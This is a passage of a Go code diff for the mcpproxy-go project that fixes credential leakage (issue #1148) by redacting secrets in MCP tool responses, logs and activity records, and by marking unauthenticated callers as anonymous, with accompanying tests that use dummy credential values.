ctx) + require.False(t, ctx.Anonymous) + require.True(t, ctx.CanRevealSecrets()) + }) + + t.Run("tray socket connection is a real admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req = req.WithContext(transport.TagConnectionContext(req.Context(), transport.ConnectionSourceTray)) + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.False(t, ctx.Anonymous, "OS-level socket auth is a real identity, not an anonymous fallback") + require.True(t, ctx.CanRevealSecrets()) + }) + + t.Run("unrecognized token is anonymous admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req.Header.Set("X-API-Key", "not-the-key") + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.True(t, ctx.IsAdmin()) + require.True(t, ctx.Anonymous) + require.False(t, ctx.CanRevealSecrets()) + }) + + t.Run("unrecognized token on a tray connection is a real admin", func(t *testing.T) { + req := httptest.NewRequest(http.MethodPost, "/mcp", http.NoBody) + req.Header.Set("X-API-Key", "not-the-key") + req = req.WithContext(transport.TagConnectionContext(req.Context(), transport.ConnectionSourceTray)) + ctx, code := captureAuthContext(t, srv, req) + require.Equal(t, http.StatusOK, code) + require.NotNil(t, ctx) + require.False(t, ctx.Anonymous) + }) +} + +// TestStdioAuthContext_IsRealAdmin pins the stdio transport declaring its +// identity explicitly. Before #1148 stdio ran with NO auth context at all and +// relied on gates of the shape `authCtx != nil && !authCtx.IsAdmin()` treating +// nil as admin — which is the same nil-is-privileged reading the issue reports. +func TestStdioAuthContext_IsRealAdmin(t *testing.T) { + ctx := stdioAuthContext(t.Context()) + authCtx := auth.AuthContextFromContext(ctx) + require.NotNil(t, authCtx, "stdio must install an explicit auth context") + require.True(t, authCtx.IsAdmin()) + require.False(t, authCtx.Anonymous) + require.True(t, authCtx.CanRevealSecrets(), "stdio is a local, OS-authenticated transport") +} diff --git a/internal/server/mcp_secret_redaction_test.go b/internal/server/mcp_secret_redaction_test.go new file mode 100644 index 000000000..4e2e439ec --- /dev/null +++ b/internal/server/mcp_secret_redaction_test.go @@ -0,0 +1,388 @@ +package server + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "testing" + + "github.com/mark3labs/mcp-go/mcp" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/auth" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// leakySecrets are the five credential shapes issue #1148 proved travel out of +// `quarantine_security list_quarantined` in the clear. Every one of them lives +// in a DIFFERENT field of config.ServerConfig, which is the point: the handler +// marshalled the raw struct, so the leak was never about one field. +// toolResultText extracts the text payload of an MCP tool result. +func toolResultText(t *testing.T, result *mcp.CallToolResult) string { + t.Helper() + require.NotNil(t, result) + require.NotEmpty(t, result.Content) + text, ok := result.Content[0].(mcp.TextContent) + require.True(t, ok, "expected a text result") + return text.Text +} + +var leakySecrets = map[string]string{ + "env": "sk-super-secret-value-12345", + "header": "hdr-secret-98765", + "oauth": "oauth-secret-4242", + "url": "urlsecret999", + "argv": "sk-argv-secret-777", +} + +func seedQuarantinedServer(t *testing.T, p *MCPProxyServer) { + t.Helper() + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "evil", + Protocol: "stdio", + Command: "uvx", + Args: []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, + URL: "https://host/mcp?token=" + leakySecrets["url"], + Env: map[string]string{"QA_SECRET_TOKEN": leakySecrets["env"]}, + Headers: map[string]string{"X-AuthToken": leakySecrets["header"]}, + OAuth: &config.OAuthConfig{ClientID: "cid", ClientSecret: leakySecrets["oauth"]}, + Enabled: true, + Quarantined: true, + })) +} + +// TestListQuarantined_MasksEnvHeadersOAuthURLAndArgv is the issue-#1148 +// reproduction: the tool response must not carry any credential value, while +// the KEYS stay visible — the inspection use case needs to know which secrets a +// quarantined server is configured with, never what they are. +func TestListQuarantined_MasksEnvHeadersOAuthURLAndArgv(t *testing.T) { + proxy := createTestMCPProxyServer(t) + seedQuarantinedServer(t, proxy) + + result, err := proxy.handleListQuarantinedUpstreams(context.Background()) + require.NoError(t, err) + body := toolResultText(t, result) + + for what, secret := range leakySecrets { + assert.NotContains(t, body, secret, "quarantine list leaks the %s secret", what) + } + + // The names survive so the response is still useful. + assert.Contains(t, body, "QA_SECRET_TOKEN") + assert.Contains(t, body, "X-AuthToken") + assert.Contains(t, body, "evil") +} + +// TestRedactedServerView_MasksUnknownFutureField is the durability guard: a +// credential in a field no matcher knows by name must still be masked, because +// every UNCONTRACTED leaf ends in the value-shaped detector. +// +// "Uncontracted" is the important word. Three leaf kinds — env values, header +// values and the server URL — must render byte-for-byte as internal/oauth +// renders them, because oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL +// recognise an echoed mask by that exact rendering on the write path; those +// inherit oauth's coverage instead (see redactionPolicy.detectContractedLeaves, +// and TestUpstreamServersList_DefaultRedactionUnchanged for the round trip that +// depends on it). Everything else — argv tokens, and any string field added to +// ServerConfig after this change — has no such contract, so the detector runs +// on every surface. +func TestRedactedServerView_MasksUnknownFutureField(t *testing.T) { + // A field name no matcher knows, holding a vendor-shaped credential. This + // stands in for the NEXT field added to config.ServerConfig: the view is + // built by walking the config's own JSON, so such a field is masked + // without anyone remembering to add it to a list. + future := redactValueWith("", map[string]interface{}{ + "zzz_future_field": "ghp_abcdefghijklmnopqrstuvwxyz0123456789", + }, liveRedaction) + encodedFuture, err := json.Marshal(future) + require.NoError(t, err) + assert.NotContains(t, string(encodedFuture), "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.Contains(t, string(encodedFuture), "zzz_future_field", "the field NAME is the audit signal and must survive") + + // argv: masked on the live surface too, by flag name AND by value shape. + view := redactedServerView(&config.ServerConfig{ + Name: "future", + Args: []string{"--endpoint=AKIAIOSFODNN7EXAMPLE", "--api-key", "totally-opaque-value"}, + }, liveRedaction) + encoded, err := json.Marshal(view) + require.NoError(t, err) + assert.NotContains(t, string(encoded), "AKIAIOSFODNN7EXAMPLE") + assert.NotContains(t, string(encoded), "totally-opaque-value") + assert.Contains(t, string(encoded), "--endpoint") + assert.Contains(t, string(encoded), "--api-key") + + // The audit policy additionally detector-masks the contracted leaves: the + // activity store has no write path to keep in step, so nothing constrains + // its rendering and maximal masking wins. + audited := redactValueWith("", map[string]interface{}{ + "env": map[string]interface{}{"ZZZ": "ghp_abcdefghijklmnopqrstuvwxyz0123456789"}, + }, auditRedaction) + encodedAudit, err := json.Marshal(audited) + require.NoError(t, err) + assert.NotContains(t, string(encodedAudit), "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.Contains(t, string(encodedAudit), "ZZZ") +} + +// TestRedactedServerView_NotBuiltFromAllowlist pins the view to +// ServerConfig.MarshalJSON rather than a hand-written key list — an allowlist +// is exactly what rotted into #1146 and #1148. +func TestRedactedServerView_NotBuiltFromAllowlist(t *testing.T) { + sc := &config.ServerConfig{ + Name: "shape", + Protocol: "stdio", + Command: "uvx", + Args: []string{"pkg"}, + URL: "https://example.test/mcp", + Env: map[string]string{"A": "b"}, + Headers: map[string]string{"Accept": "application/json"}, + Enabled: true, + Quarantined: true, + } + + raw, err := json.Marshal(sc) + require.NoError(t, err) + var want map[string]interface{} + require.NoError(t, json.Unmarshal(raw, &want)) + + got := redactedServerView(sc, liveRedaction) + for key := range want { + assert.Contains(t, got, key, "view dropped %q — it is not derived from MarshalJSON", key) + } +} + +// TestUpstreamServersList_RevealSecretHeaders_DeniedForAnonymous covers the (b) +// half of issue #1148 on the one operation that hands back RAW credentials. +// `reveal_secret_headers` is an operator opt-in for a trusted read surface; an +// unauthenticated /mcp caller (admin only by back-compat) and a nil context are +// not that. +func TestUpstreamServersList_RevealSecretHeaders_DeniedForAnonymous(t *testing.T) { + newProxy := func(t *testing.T) *MCPProxyServer { + t.Helper() + p := createTestMCPProxyServer(t) + p.config.RevealSecretHeaders = true + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + URL: "https://host/mcp?token=" + leakySecrets["url"], + Env: map[string]string{"QA_SECRET_TOKEN": leakySecrets["env"]}, + Headers: map[string]string{"X-AuthToken": leakySecrets["header"]}, + Enabled: true, + })) + return p + } + + t.Run("anonymous caller gets masked values", func(t *testing.T) { + p := newProxy(t) + ctx := auth.WithAuthContext(context.Background(), auth.AnonymousContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + assert.NotContains(t, body, leakySecrets["env"]) + assert.NotContains(t, body, leakySecrets["header"]) + assert.NotContains(t, body, leakySecrets["url"]) + }) + + t.Run("nil auth context gets masked values", func(t *testing.T) { + p := newProxy(t) + result, err := p.handleListUpstreams(context.Background()) + require.NoError(t, err) + body := toolResultText(t, result) + assert.NotContains(t, body, leakySecrets["env"]) + assert.NotContains(t, body, leakySecrets["header"]) + assert.NotContains(t, body, leakySecrets["url"]) + }) + + t.Run("authenticated admin still gets raw values", func(t *testing.T) { + p := newProxy(t) + ctx := auth.WithAuthContext(context.Background(), auth.AdminContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + assert.Contains(t, body, leakySecrets["env"], "reveal_secret_headers must keep working for an authenticated admin") + assert.Contains(t, body, leakySecrets["header"]) + assert.Contains(t, body, leakySecrets["url"]) + }) +} + +// TestUpstreamServersList_DefaultRedactionUnchanged pins the DEFAULT (flag off) +// rendering to oauth.MaskValue's `•••• ( chars)`. That exact string +// is what oauth.UnmaskEnvValues / UnmaskHeaders / UnmaskURL recognise on the +// patch path, so switching this surface to the audit `••••` marker would make a +// read-modify-write agent overwrite the real secret with the mask. The CI-only +// E2E assertions in e2e_test.go pin the same thing. +func TestUpstreamServersList_DefaultRedactionUnchanged(t *testing.T) { + p := createTestMCPProxyServer(t) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Env: map[string]string{"QA_SECRET_TOKEN": leakySecrets["env"]}, + Headers: map[string]string{"X-AuthToken": leakySecrets["header"]}, + Enabled: true, + })) + + ctx := auth.WithAuthContext(context.Background(), auth.AdminContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, leakySecrets["env"]) + assert.Contains(t, body, "chars)", "live surfaces must keep the MaskValue rendering the unmaskers recognise") + assert.Contains(t, body, oauth.MaskValue(leakySecrets["env"])) + assert.Contains(t, body, oauth.MaskValue(leakySecrets["header"])) +} + +// TestRedactBuiltinResponseForActivity covers the persistence net: whatever a +// management built-in returned, the row written to BBolt / SSE / +// `mcpproxy activity list` carries no credential values. +func TestRedactBuiltinResponseForActivity(t *testing.T) { + raw, err := json.Marshal(map[string]interface{}{ + "servers": []interface{}{map[string]interface{}{ + "name": "evil", + "url": "https://host/mcp?token=" + leakySecrets["url"], + "args": []interface{}{"mcp-foo", "--api-key", leakySecrets["argv"]}, + "env": map[string]interface{}{"QA_SECRET_TOKEN": leakySecrets["env"]}, + "headers": map[string]interface{}{"X-AuthToken": leakySecrets["header"]}, + "oauth": map[string]interface{}{"client_secret": leakySecrets["oauth"]}, + }}, + }) + require.NoError(t, err) + + encoded, err := json.Marshal(redactBuiltinResponseForActivity(string(raw))) + require.NoError(t, err) + for what, secret := range leakySecrets { + assert.NotContains(t, string(encoded), secret, "activity record leaks the %s secret", what) + } + assert.Contains(t, string(encoded), "QA_SECRET_TOKEN") + // The audit surface must not carry the length fingerprint MaskValue emits. + assert.NotContains(t, string(encoded), "chars)") + + // Non-JSON responses fall back to the free-form scrubber. + plain := redactBuiltinResponseForActivity("connect failed for https://host/mcp?token=" + leakySecrets["url"]) + assert.NotContains(t, plain.(string), leakySecrets["url"]) +} + +// TestScrubUpstreamText_ConnectionErrors covers issue #1148 (c3): the +// connect/restart handlers returned `connection_message` built straight from +// the upstream error, which routinely echoes the URL with its query +// credentials. `upstream_servers list` already scrubbed the identical string +// for last_error — the inconsistency was the bug. +func TestScrubUpstreamText_ConnectionErrors(t *testing.T) { + msg := scrubUpstreamText("Server connection failed: dial https://host/mcp?token=" + leakySecrets["url"] + ": connection refused") + assert.NotContains(t, msg, leakySecrets["url"]) + assert.Contains(t, msg, "connection refused", "the diagnostic part must survive") + + vendor := scrubUpstreamText("child said: ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.NotContains(t, vendor, "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + + assert.Equal(t, "", scrubUpstreamText("")) +} + +// TestTailLog_ScrubsLogLines covers issue #1148 (c2). mcpproxy is itself the +// source of the leak: internal/upstream/core/connection.go logs the upstream +// URL — query credentials and all — into server-.log on every connection +// attempt, and connection_launcher.go pipes the child process's own stdout into +// the same file. `tail_log` returned those lines verbatim and recorded them +// into the activity store. +func TestTailLog_ScrubsLogLines(t *testing.T) { + proxy := createTestMCPProxyServer(t) + + logDir := t.TempDir() + cfg := config.DefaultConfig() + cfg.DataDir = t.TempDir() + cfg.Listen = "127.0.0.1:0" + cfg.Logging.LogDir = logDir + mainSrv, err := NewServer(cfg, zap.NewNop()) + require.NoError(t, err) + t.Cleanup(func() { _ = mainSrv.Shutdown() }) + proxy.mainServer = mainSrv + + require.NoError(t, proxy.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "leaky", Protocol: "http", Enabled: true, + })) + require.NoError(t, os.WriteFile(filepath.Join(logDir, "server-leaky.log"), []byte( + `{"level":"info","msg":"Starting connection attempt","url":"https://host/mcp?token=`+leakySecrets["url"]+`"}`+"\n"+ + `child stdout: using ghp_abcdefghijklmnopqrstuvwxyz0123456789`+"\n"), 0o600)) + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{"name": "leaky"} + + result, err := proxy.handleTailLog(context.Background(), request) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, leakySecrets["url"], "tail_log leaks the URL credential mcpproxy itself logged") + assert.NotContains(t, body, "ghp_abcdefghijklmnopqrstuvwxyz0123456789") + assert.Contains(t, body, "Starting connection attempt", "the diagnostic content must survive") +} + +// TestUnmaskArgv_RevertsEchoedMasks is the write-path counterpart to masking +// argv on `upstream_servers list` (issue #1148). +// +// `args_json` REPLACES the vector entirely, and internal/oauth owns no unmask +// contract for argv — so without this a read-modify-write agent that changed +// one flag and echoed the rest back would persist `••••` OVER the real +// credential. The revert is keyed on the masked rendering of the STORED vector, +// produced by the very function the read path uses, so the two cannot drift. +func TestUnmaskArgv_RevertsEchoedMasks(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", leakySecrets["argv"], "--port", "8080"} + masked := redactedArgs(stored, liveRedaction) + require.NotContains(t, masked, leakySecrets["argv"], "the read path must mask the credential") + + t.Run("unedited echo restores the stored secret", func(t *testing.T) { + assert.Equal(t, stored, unmaskArgv(masked, stored)) + }) + + t.Run("a genuine edit is preserved", func(t *testing.T) { + edited := append([]string(nil), masked...) + edited[4] = "9090" + got := unmaskArgv(edited, stored) + assert.Equal(t, []string{"mcp-foo", "--api-key", leakySecrets["argv"], "--port", "9090"}, got) + }) + + t.Run("a genuinely new secret is written through", func(t *testing.T) { + incoming := []string{"mcp-foo", "--api-key", "brand-new-secret", "--port", "8080"} + assert.Equal(t, incoming, unmaskArgv(incoming, stored)) + }) + + t.Run("an ambiguous mask is not guessed", func(t *testing.T) { + // Two DIFFERENT stored tokens whose masked renderings collide + // (MaskValue carries only the length and last two bytes): reverting + // either would be a guess, so the mask is left alone rather than + // restoring the wrong secret over the other one. + ambiguous := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} + maskedAmbiguous := redactedArgs(ambiguous, liveRedaction) + got := unmaskArgv(maskedAmbiguous, ambiguous) + assert.Equal(t, maskedAmbiguous, got) + }) + + t.Run("nil and empty are passed through", func(t *testing.T) { + assert.Nil(t, unmaskArgv(nil, stored)) + assert.Equal(t, []string{}, unmaskArgv([]string{}, stored)) + }) +} + +// TestUpstreamServersList_MasksArgvCredentials covers issue #1148 (c1) on the +// one credential shape `upstream_servers list` never masked: an argv token. +// Passing a credential as an argument (`uvx mcp-foo --api-key sk-…`) is one of +// the commonest MCP server config shapes, and this list is reachable +// unauthenticated. +func TestUpstreamServersList_MasksArgvCredentials(t *testing.T) { + p := createTestMCPProxyServer(t) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{ + Name: "srv", + Command: "uvx", + Args: []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, + Enabled: true, + })) + + ctx := auth.WithAuthContext(context.Background(), auth.AdminContext()) + result, err := p.handleListUpstreams(ctx) + require.NoError(t, err) + body := toolResultText(t, result) + + assert.NotContains(t, body, leakySecrets["argv"]) + assert.Contains(t, body, "--api-key", "the flag is the audit signal and must survive") + assert.Contains(t, body, "mcp-foo", "ordinary arguments must stay readable") +} diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go new file mode 100644 index 000000000..85911b108 --- /dev/null +++ b/internal/server/mcp_server_view.go @@ -0,0 +1,231 @@ +package server + +import ( + "encoding/json" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" +) + +// Issue #1148: `quarantine_security list_quarantined` json.Marshal'd the raw +// []*config.ServerConfig straight out of storage, so every credential the +// struct carries — env values, header values, oauth.client_secret, URL query +// credentials and argv tokens — travelled out of the MCP surface in the clear, +// to any caller, and was then recorded verbatim into the activity store. +// +// The durable fix is not "mask the five fields the report named". It is to stop +// MCP-facing payloads being built from the config struct at all, and build them +// from a REDACTED VIEW instead, so the NEXT field added to ServerConfig is +// masked by default rather than leaked by default. +// +// The view is deliberately NOT a hand-written key list. An allowlist is exactly +// what rotted into #1146 (the activity record that dropped every payload field) +// and what makes this class of bug recur: it encodes today's field set and +// silently omits tomorrow's. Instead the config is marshalled through its own +// MarshalJSON and the resulting generic map is walked by the shared redaction +// walker from mcp_activity_args.go, whose rules are keyed on field NAMES and, +// for every leaf that survives that, on the VALUE's own shape. +// +// WARNING: the view must stay a map. config.ServerConfig declares +// MarshalJSON/UnmarshalJSON, and Go promotes those to any struct that embeds +// it — an embedding wrapper silently drops its own fields on encode (see the +// warning on config.ServerConfig.UnmarshalJSON). + +// redactedServerView renders one server config as a generic JSON map with every +// secret-bearing leaf masked under the given policy. +// +// Pass liveRedaction for an interactive MCP read surface (keeps the +// `•••• ( chars)` rendering the patch-path unmaskers recognise) and +// auditRedaction for anything persisted. Returns nil for a nil config. +func redactedServerView(sc *config.ServerConfig, r redactionPolicy) map[string]interface{} { + if sc == nil { + return nil + } + + normalized, ok := normalizeForRedaction(sc).(map[string]interface{}) + if !ok { + // ServerConfig always marshals to an object; a failure here can only + // mean the encoder broke. Fail CLOSED — an empty view loses + // information, a raw struct loses secrets. + return map[string]interface{}{"name": sc.Name} + } + + redacted, ok := redactValueWith("", normalized, r).(map[string]interface{}) + if !ok { + return map[string]interface{}{"name": sc.Name} + } + return redacted +} + +// redactedServerViews renders a slice of server configs, skipping nils. +func redactedServerViews(servers []*config.ServerConfig, r redactionPolicy) []map[string]interface{} { + out := make([]map[string]interface{}, 0, len(servers)) + for _, sc := range servers { + if sc == nil { + continue + } + out = append(out, redactedServerView(sc, r)) + } + return out +} + +// scrubUpstreamText scrubs free-form text that originated OUTSIDE mcpproxy's +// own structured fields — an upstream connection error, a line tailed from a +// server log, a child process's stdout. +// +// Issue #1148 (c2/c3): these strings routinely embed the upstream URL with its +// query credentials (`?token=…`), and a child MCP server is free to print its +// own API key. There is no enclosing key to judge them by, so both scrubbers +// run: oauth.RedactSensitiveData for `=` shapes and bearer +// tokens, then the value-shaped detector for vendor-formatted credentials. +// +// mcp.go's `upstream_servers list` already did exactly this for `last_error`; +// routing every such site through one helper is what stops the four call sites +// drifting apart again. +func scrubUpstreamText(s string) string { + if s == "" { + return s + } + return auditRedaction.capString(maskDetectedSecrets(oauth.RedactSensitiveData(s))) +} + +// scrubUpstreamLines scrubs a batch of log lines. +func scrubUpstreamLines(lines []string) []string { + out := make([]string, len(lines)) + for i, line := range lines { + out[i] = scrubUpstreamText(line) + } + return out +} + +// redactBuiltinResponseForActivity renders the response text of a management +// built-in for the ACTIVITY STORE. +// +// The activity store is a different durability class from the live tool +// response: rows are persisted in BBolt, streamed over SSE, exported by +// `mcpproxy activity list` and pasted into bug reports. So even a response that +// is already masked for the caller is re-rendered here under the audit policy, +// which carries neither the secret's length nor its trailing bytes. +// +// One net at the emit site covers every current AND future operation of the +// tool — including the ones whose payloads this change does not touch +// individually — which is the property the per-handler fixes cannot give. +// Non-JSON responses (plain-text results, error strings) fall back to the +// free-form scrubber. +func redactBuiltinResponseForActivity(responseText string) interface{} { + if responseText == "" { + return responseText + } + var parsed interface{} + if err := json.Unmarshal([]byte(responseText), &parsed); err != nil || parsed == nil { + return scrubUpstreamText(responseText) + } + return redactValueWith("", parsed, auditRedaction) +} + +// viewField reads one key out of a redacted view, falling back to the raw +// config value when the key is absent. +// +// Every string/slice/map field of config.ServerConfig is tagged `omitempty`, so +// an empty command or a nil args slice simply does not appear in the view. The +// fallback keeps hand-written projections (upstream_servers list) rendering +// `""` and `null` exactly as they did before the view existed — an empty value +// carries no secret, so nothing is lost by passing it through. +func viewField(view map[string]interface{}, key string, fallback interface{}) interface{} { + if v, ok := view[key]; ok { + return v + } + return fallback +} + +// viewString reads a string leaf out of a redacted view, falling back to the +// raw value when the key was omitted (empty) or is not a string. +func viewString(view map[string]interface{}, key, fallback string) string { + if v, ok := view[key].(string); ok { + return v + } + return fallback +} + +// redactedArgs masks a command-line argument vector under the given policy. +// Returns nil for nil so JSON callers keep emitting `null`. +func redactedArgs(args []string, r redactionPolicy) []string { + if args == nil { + return nil + } + items := make([]interface{}, len(args)) + for i, a := range args { + items[i] = a + } + masked := redactArgvWith(items, r) + out := make([]string, len(masked)) + for i, v := range masked { + s, ok := v.(string) + if !ok { + // redactArgvWith returns a string for every string input, which is + // all this helper ever supplies. Fail closed anyway. + return redactedArgsFallback(args, r) + } + out[i] = s + } + return out +} + +// redactedArgsFallback masks every element wholesale. Unreachable in practice; +// it exists so redactedArgs can never fall back to the RAW vector. +func redactedArgsFallback(args []string, r redactionPolicy) []string { + out := make([]string, len(args)) + for i, a := range args { + out[i] = r.mask(a) + } + return out +} + +// unmaskArgv reverts argv tokens that a client echoed back still masked +// (issue #1148). +// +// `args_json` REPLACES the vector entirely and internal/oauth owns no unmask +// contract for argv, so masking argv on the read path without this would let a +// read-modify-write client persist the mask over the real credential — the +// exact failure mode oauth.UnmaskEnvValues / UnmaskHeaders exist to prevent for +// env and headers. +// +// The mapping is built from the STORED vector through redactedArgs, i.e. the +// same function the read path used, so the two cannot drift. Matching is by +// VALUE rather than by position, because `args_json` may legitimately reorder +// or resize the vector. +// +// Two deliberate refusals: +// - a masked rendering produced by two DIFFERENT stored tokens is ambiguous; +// reverting it would be a guess, so it is left as the client sent it; +// - a token whose masked rendering equals itself (an ordinary argument the +// read path did not touch) is not a mask at all and is never reverted. +func unmaskArgv(incoming, stored []string) []string { + if incoming == nil || len(stored) == 0 { + return incoming + } + + maskedStored := redactedArgs(stored, liveRedaction) + revert := make(map[string]string, len(stored)) + ambiguous := make(map[string]bool, len(stored)) + for i, masked := range maskedStored { + if masked == stored[i] { + continue // not a mask + } + if existing, seen := revert[masked]; seen && existing != stored[i] { + ambiguous[masked] = true + continue + } + revert[masked] = stored[i] + } + + out := make([]string, len(incoming)) + for i, token := range incoming { + if original, ok := revert[token]; ok && !ambiguous[token] { + out[i] = original + continue + } + out[i] = token + } + return out +} diff --git a/internal/server/server.go b/internal/server/server.go index 3cdc08a7b..a020339c0 100644 --- a/internal/server/server.go +++ b/internal/server/server.go @@ -349,9 +349,25 @@ func (s *Server) mcpAuthMiddleware(next http.Handler) http.Handler { http.Error(w, `{"error":"Authentication required. Provide an API key or agent token."}`, http.StatusUnauthorized) return } + // Tray connections carry OS-level authentication (Unix socket / + // named pipe permissions), so they are a real identity even + // without a token. Checked BEFORE the anonymous fallback so a + // socket caller is not downgraded (issue #1148). + if transport.GetConnectionSource(r.Context()) == transport.ConnectionSourceTray { + ctx := auth.WithAuthContext(r.Context(), auth.AdminContext()) + next.ServeHTTP(w, r.WithContext(ctx)) + return + } + // No token provided — preserve existing unprotected MCP behavior. - // Treat as admin (backward compatibility for MCP clients without auth). - ctx := auth.WithAuthContext(r.Context(), auth.AdminContext()) + // Treat as admin (backward compatibility for MCP clients without + // auth), but mark the context ANONYMOUS: issue #1148: this + // deliberate upgrade is what let an unauthenticated caller through + // a gate written as `authCtx != nil && !authCtx.IsAdmin()`. Every + // operation that worked before still works; only the + // secret-REVEALING check (AuthContext.CanRevealSecrets) tells the + // two apart. + ctx := auth.WithAuthContext(r.Context(), auth.AnonymousContext()) next.ServeHTTP(w, r.WithContext(ctx)) return } @@ -424,8 +440,10 @@ func (s *Server) mcpAuthMiddleware(next http.Handler) http.Handler { http.Error(w, `{"error":"Invalid authentication token"}`, http.StatusUnauthorized) return } - // Backward compatibility: allow through with admin context - ctx := auth.WithAuthContext(r.Context(), auth.AdminContext()) + // Backward compatibility: allow through with an ANONYMOUS admin + // context. The token proved nothing, so it is no more of an identity + // than no token at all (issue #1148). + ctx := auth.WithAuthContext(r.Context(), auth.AnonymousContext()) next.ServeHTTP(w, r.WithContext(ctx)) }) } @@ -959,8 +977,13 @@ func (s *Server) Start(ctx context.Context) error { configPath, ) - // Serve using stdio (standard MCP transport) - if err := server.ServeStdio(s.mcpProxy.GetMCPServer()); err != nil { + // Serve using stdio (standard MCP transport). + // + // Issue #1148: stdio has no HTTP middleware, so it used to run with NO + // auth context and relied on every gate reading nil as admin. Declare + // the identity explicitly instead — a stdio peer is the local process + // that launched us, which is as authenticated as the tray socket. + if err := server.ServeStdio(s.mcpProxy.GetMCPServer(), server.WithStdioContextFunc(stdioAuthContext)); err != nil { return fmt.Errorf("MCP server error: %w", err) } } @@ -968,6 +991,12 @@ func (s *Server) Start(ctx context.Context) error { return nil } +// stdioAuthContext installs the authenticated-admin context for the stdio +// transport. See the ServeStdio call site above (issue #1148). +func stdioAuthContext(ctx context.Context) context.Context { + return auth.WithAuthContext(ctx, auth.AdminContext()) +} + // discoverAndIndexTools discovers tools from upstream servers and indexes them // SetShutdownInfo sets the reason and signal for shutdown (Spec 024). diff --git a/internal/upstream/core/connection.go b/internal/upstream/core/connection.go index a4a8e8226..797300f9d 100644 --- a/internal/upstream/core/connection.go +++ b/internal/upstream/core/connection.go @@ -6,6 +6,7 @@ import ( "os" "time" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/smart-mcp-proxy/mcpproxy-go/internal/transport" "go.uber.org/zap" @@ -51,6 +52,24 @@ const ( // parseOAuthError extracts structured error information from OAuth provider responses // Connect establishes connection to the upstream server +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// query credentials masked (issue #1148). +// +// Connect() logs the URL on every attempt, to main.log and to the per-server +// server-.log — and `upstream_servers tail_log` hands the latter to any +// MCP caller. A URL is one of the commonest places an MCP credential lives +// (`?token=…`, an Azure SAS `sig=`, an AWS `X-Amz-Signature=`), so the value is +// masked at the point it is written rather than only where it is read back: +// the file outlives the process and is readable by anything with disk access. +// +// The host and path survive, which is what makes the line diagnostic. +func (c *Client) logSafeURL() string { + if c.config == nil { + return "" + } + return oauth.RedactURLQueryParams(c.config.URL) +} + func (c *Client) Connect(ctx context.Context) error { c.mu.Lock() defer c.mu.Unlock() @@ -98,7 +117,7 @@ func (c *Client) Connect(ctx context.Context) error { c.logger.Info("Connecting to upstream MCP server", zap.String("server", c.config.Name), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.String("command", c.config.Command), zap.String("protocol", c.config.Protocol)) @@ -109,7 +128,7 @@ func (c *Client) Connect(ctx context.Context) error { if c.upstreamLogger != nil { c.upstreamLogger.Info("Starting connection attempt", zap.String("transport", c.transportType), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.String("command", c.config.Command), zap.String("protocol", c.config.Protocol)) } @@ -118,7 +137,7 @@ func (c *Client) Connect(ctx context.Context) error { c.logger.Debug("🔍 Transport Type Determination", zap.String("server", c.config.Name), zap.String("command", c.config.Command), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.String("protocol", c.config.Protocol), zap.String("determined_transport", c.transportType)) diff --git a/internal/upstream/core/connection_launcher.go b/internal/upstream/core/connection_launcher.go index f9ce20241..36287bedc 100644 --- a/internal/upstream/core/connection_launcher.go +++ b/internal/upstream/core/connection_launcher.go @@ -116,7 +116,7 @@ func (c *Client) connectWithLauncher(ctx context.Context) error { c.logger.Info("waiting for upstream URL to become reachable", zap.String("server", c.config.Name), - zap.String("url", c.config.URL), + zap.String("url", c.logSafeURL()), zap.Duration("timeout", waitTimeout)) if err := launcher.WaitForURL(ctx, c.config.URL, waitTimeout); err != nil { @@ -145,7 +145,7 @@ func (c *Client) connectWithLauncher(ctx context.Context) error { c.logger.Info("upstream URL is reachable", zap.String("server", c.config.Name), - zap.String("url", c.config.URL)) + zap.String("url", c.logSafeURL())) return nil } diff --git a/internal/upstream/core/connection_oauth.go b/internal/upstream/core/connection_oauth.go index 1306a1a9c..02227002c 100644 --- a/internal/upstream/core/connection_oauth.go +++ b/internal/upstream/core/connection_oauth.go @@ -200,7 +200,7 @@ func (c *Client) tryOAuthAuth(ctx context.Context) error { } logger.Debug("🔐 Attempting OAuth authentication", - zap.String("url", 